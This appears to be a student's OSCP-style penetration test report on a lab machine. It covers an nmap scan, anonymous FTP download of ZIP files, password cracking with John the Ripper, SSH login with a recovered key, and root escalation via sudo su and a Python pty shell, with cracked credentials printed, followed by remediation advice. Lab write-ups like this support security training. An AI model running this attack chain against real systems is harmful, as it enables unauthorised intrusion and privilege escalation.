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1.0 Offensive Security Exam Penetration Test Report

1.1 Introduction

The Offensive Security Exam penetration test report contains all efforts that were conducted in order to pass the Offensive Security exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has a full understanding of penetration testing methodologies as well as the technical knowledge to pass the qualifications for the Offensive Security Certified Professional.

1.2 Objective

The objective of this assessment is to perform an internal penetration test against the Offensive Security Exam network. The student is tasked with following a methodical approach in obtaining access to the objective goals. This test should simulate an actual penetration test and how you would start from beginning to end, including the overall report. An example page has already been created for you at the latter portions of this document that should give you ample information on what is expected to pass this course. Use the sample report as a guideline to get you through the reporting.

1.3 Requirements

The student will be required to fill out this penetration testing report fully and to include the following sections:

- Overall High-Level Summary and Recommendations (non-technical)
- Methodology walkthrough and detailed outline of steps taken
- Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable.
- Any additional items that were not included



2.0 System IP: 192.168.238.107

2.1 Service Enumeration

Port no.	Service	Version
21	ftp	ProFTPD 1.3.5e
22	ssh	OpenSSH 7.6p1
80	http	Apache httpd 2.4.29

Nmap Scan Results:

```
File Actions Edit View Help

(kali kali) - [~]

nmap -sV -T4 192.168.238.107 -Pn -n

Starting Nmap 7.95 (https://nmap.org ) at 2025-04-02 04:34 EDT

Nmap scan report for 192.168.238.107

Host is up (0.056s latency).

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.5e

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds

(kali kali - [~]
```

Command: nmap -sV -T4 192.168.238.107 -Pn -n

The command lists the service versions running on open ports, and the aggressive network scan is accelerated by disabling host discovery and DNS resolution.



2.2 FootHold on FTP and cracking the ZIPs

```
File Actions Edit View Help

(kali® kali)-[~]

$ mmap --script ftp-anon -p 21 192.168.238.107

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-02 04:48 EDT

Nmap scan report for 192.168.238.107

Host is up (0.046s latency).

PORT STATE SERVICE
21/tcp open ftp

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 anna.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 ariel.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 bud.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 cathrine.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 cathrine.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 homer.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 jessica.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 jessica.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 marge.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 marge.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 marge.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 marge.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 marge.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 marge.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 marge.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 marge.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 marge.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 zolatan.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 zolatan.zip
| -rw-rw-r- 1 ftp ftp 1477 Jul 25 2020 zolatan.zip
```

Command: nmap --script ftp-anon -p 21 192.168.238.107

The Nmap command uses the **ftp-anon** script to scan the target machine on port 21 to check if the FTP server permits anonymous access. The scan result shows FTP code 230, indicating that the server does allow anonymous access. Additionally, zip files of different users are found on the server.



```
kali@kali: ~/Desktop/FTP data
File Actions Edit View Help
  -(kali®kali)-[~/Desktop/FTP data]
ftp 192.168.238.107
Connected to 192.168.238.107.
220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.238.107]
Name (192.168.238.107:kali): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230-Welcome, archive user anonymous@192.168.45.159 !
230-
230-The local time is: Wed Apr 02 08:51:34 2025
230-
230-This is an experimental FTP server. If you have any unusual problems,
230-please report them via e-mail to <root@funbox2>.
230-
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> mget *
mget jessica.zip [anpqy?]? y
229 Entering Extended Passive Mode (|||52522|)
150 Opening BINARY mode data connection for jessica.zip (1477 bytes)
                                                                        25.15 MiB/s
                                                                                       00:00 ETA
226 Transfer complete
1477 bytes received in 00:00 (27.94 KiB/s)
mget bud.zip [anpqy?]? y
229 Entering Extended Passive Mode (|||22322|)
150 Opening BINARY mode data connection for bud.zip (1477 bytes)
100% | ******************************
                                                                        23.47 MiB/s
                                                                                       00:00 ETA
226 Transfer complete
1477 bytes received in 00:00 (30.48 KiB/s)
```

Using FTP Anonymous login and exfiltrating every single zip file into 'FTP Data' directory

FTP Command: mget *

```
File Actions Edit View Help

(kali@kali)-[~/Desktop/FTP data]

sudo john --wordlist='/usr/share/wordlists/rockyou.txt' tomhash

Using default input encoding: UTF-8

Loaded 1 password hash (PKZIP [32/64])

Will run 4 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

iubire (tom.zip/id_rsa)

1g 0:00:00:00 DONE (2025-04-02 05:12) 20.00g/s 163840p/s 163840c/s 163840C/s 123456..whitetiger

Use the "--show" option to display all of the cracked passwords reliably

Session completed.
```

Command: sudo john --wordlist='/usr/share/wordlists/rockyou.txt' tomhash

I converted the password-protected ZIP files into hash file format using the tool **zip2john** and cracked them using **John the Ripper**

Command: zip2john tom.zip > tomhash





User	ZIP file Password
cathrine	catwoman
tom	iubire



2.3 Gaining Access

The ZIP files contains SSH private keys assigned to the respective users. Only the password hashes for user tom and cathrine are simple enough to be cracked. I changed the file permissions for their respective private keys

Command: chmod 600 <SSH private key>



```
tom@funbox2: ~
File Actions Edit View Help
  —(kali⊗kali)-[~/Desktop]
-$ ssh tom@192.168.238.107 -i tom_id_rsa
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-117-generic x86_64)
 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
  System information as of Wed Apr 2 09:20:09 UTC 2025
  System load: 0.0 Processes:
Usage of /: 75.0% of 4.37GB Users logged in:
                                                                    165
  Memory usage: 36% IP address for ens256: 192.168.238.107
  Swap usage: 0%
30 packages can be updated.
0 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details.
tom@funbox2:~$ whoami
```

Command: ssh tom@192.168.238.107 -i <tom's SSH private key>

I have managed to gain initial foothold on the machine by SSH into user tom's account using his SSH private key. User cathrine's SSH private key is unable to be used for SSH authentication.



2.4 Privilege Escalation - Enumeration and Exploitation

I have started a web server on my Kali Linux host machine so I can migrate pspy32 over to the compromised machine using **wget**. I changed the file permissions for pspy32 so that it can be executed.

```
tom@funbox2:~

File Actions Edit View Help

tom@funbox2:~$ ./pspy32

-rbash: ./pspy32: restricted: cannot specify `/' in command names

tom@funbox2:~$ ■
```

Common Restrictions in rbash include:

- Cannot change directories using cd.
- ii. Cannot set or unset the PATH variable.
- iii. Cannot use commands like exec, which can replace the current shell with another command.
- iv. Cannot redirect output using >, >>, or 2>&1 in most cases.
- v. Cannot run commands with ; (semicolon) or & to run multiple commands in a single line.

In this case, the slash symbol '/' cannot be used in command names due to rbash restriction. Hence, no files or scripts can be executed from within current directory. Pspy and Linpeas cannot be used in this case.



```
File Actions Edit View Help

tom@funbox2:-$ ls -la

total 40

drwxr-xr-x 5 tom tom 4096 Apr 2 09:20 .

drwxr-xr-x 3 root root 4096 Jul 25 2020 ..

-rw — 1 tom tom 0 Oct 14 2020 .bash_history

-rw-r-r-- 1 tom tom 3771 Apr 4 2018 .bash_logout

-rw-r-r-- 1 tom tom 3771 Apr 4 2018 .bashrc

drwx — 2 tom tom 4096 Apr 2 09:20 .cache

drwx — 3 tom tom 4096 Apr 2 09:20 .gnupg

-rw-r-r-- 1 tom tom 33 Apr 2 08:33 local.txt

-rw — 1 tom tom 295 Jul 25 2020 .mysql_history

-rw-r--- 1 tom tom 807 Apr 4 2018 .profile

drwx — 2 tom tom 4096 Jul 25 2020 .ssh

tom@funbox2:-$
```

Reading the contents of local.txt grants the user flag. I have listed out all files within current directory to see potential entry points leading to privilege escalation. The files .bash_history, .mysql_history and .ssh directory are of interest.

```
tom@funbox2:~$ cat .mysql_history
_HiStOrY_V2_
show\040databases;
quit
create\040database\040'support';
create\040database\040support;
use\040support
create\040table\040users;
show\040tables;;
select\040*\040from\040support
;
show\040tables;
select\040*\040from\040support;
insert\040into\040support\040(tom,\040xx11yy22!);
quit
tom@funbox2:~$
```

The .mysql_history file contains the history of all commands executed in the MySQL command-line client. A database named 'support' is created, and a table named 'users' is created within it. The record for the user 'tom' and their password, inserted via the CLI, can be observed.

User	Password
tom	xx11yy22!



```
File Actions Edit View Help

tom@funbox2:~$ sudo -l
[sudo] password for tom:

Matching Defaults entries for tom on funbox2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/sbin\:/shin\:/snap/bin

User tom may run the following commands on funbox2:
    (ALL : ALL) ALL

tom@funbox2:~$
```

Checking the sudo privileges for the user 'tom' requires a password, which is obtained from the contents of the .mysql_history file. The user tom can execute all commands with sudo privileges.

The commands that user 'tom' can execute in the current shell can be listed using the command: **compgen -c**

```
-
                                             root@funbox2: ~
File Actions Edit View Help
tom@funbox2:~$ sudo su
root@funbox2:/home/tom# whoami
root@funbox2:/home/tom# cd /root
root@funbox2:~# ls -la
total 32
drwx ---- 4 root root 4096 Apr 2 08:33 .
drwxr-xr-x 24 root root 4096 Oct 14 2020 ...
-rw-r--r-- 1 root root 0 Oct 14 2020 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
-rw-r--r-- 1 root root 32 Oct 14 2020 flag.txt
drwx----- 3 root root 4096 Sep 15 2020 .gnupg
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
root@funbox2:~# cat proof.txt
390aaa2fc82ac3ecadbf755203565169
root@funbox2:~#
```

One of the commands that can be executed in the current shell is **su**. Since the user tom can execute any command with sudo, they can directly escalate privileges by switching to the root account without requiring to know the root user's password.



```
File Actions Edit View Help

tom@funbox2:~$ sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
root@funbox2:~# whoami
root
root@funbox2:~# cd /root
root@funbox2:/root# ls
flag.txt proof.txt
root@funbox2:/root# cat proof.txt
390aaa2fc82ac3ecadbf755203565169
root@funbox2:/root#
```

User 'tom' can be observed to execute python3 with sudo privileges as well. I executed python3 with sudo privileges to spawn a bash shell using Python's pty module. It will spawn a new process that runs an interactive /bin/bash shell with root privileges.



2.5 Vulnerability Fix and Severity

Vulnerability 1: Anonymous FTP login

FTP server has poor security configurations in supporting FTP Anonymous login

Fix and Mitigations

- Restricting access to specific directories that are intended for anonymous usage
- Using firewalls and network configurations to restrict who can access the anonymous FTP service
- Adopt Data Classification when uploading documents in terms of sensitivity of information

Vulnerability 2: Exposure of sensitive files

SSH private keys are stored in password protected ZIP files on an easily-accessible FTP server.

Fix and Mitigations

- Stop using FTP to store sensitive data
- Adopt Data Classification when uploading documents in terms of sensitivity of information
- Use stronger encryption and protection for SSH keys
 - i. Use a hardware security module (HSM): If possible, store the private keys in an HSM or a hardware token (YubiKey)
 - ii. Adopt AES-256 encryption of SSH private keys
 - iii. Adopt a more secure storage location instead of ZIP files



Vulnerability 3: Leak of information through history files

Tom's password is leaked in .mysql_history file

Fix and Mitigations

- Isolate tom's device from the network and change their password
- Clear the contents of history files to prevent data leaks
 - > ~/.mysql history
 - > ~/.bash_history

Vulnerability 4: Vertical Privilege Escalation to root

The unrestricted sudo permissions in user tom's account allowed the abuse of commands to escalate privilege levels.

Fix and Mitigations

- Review and correct the sudoers file
- Limit Sudo Access

Ensure users are only granted **specific**, **necessary privileges**. Limit what each user can do via sudo and explicitly specify which commands they can run.

Restriction of commands executed by sudo

The sudoers file can be edited to restrict **command arguments** and **environment variables** that can be passed to commands when they are executed with sudo.

Restrict sudo to only trusted users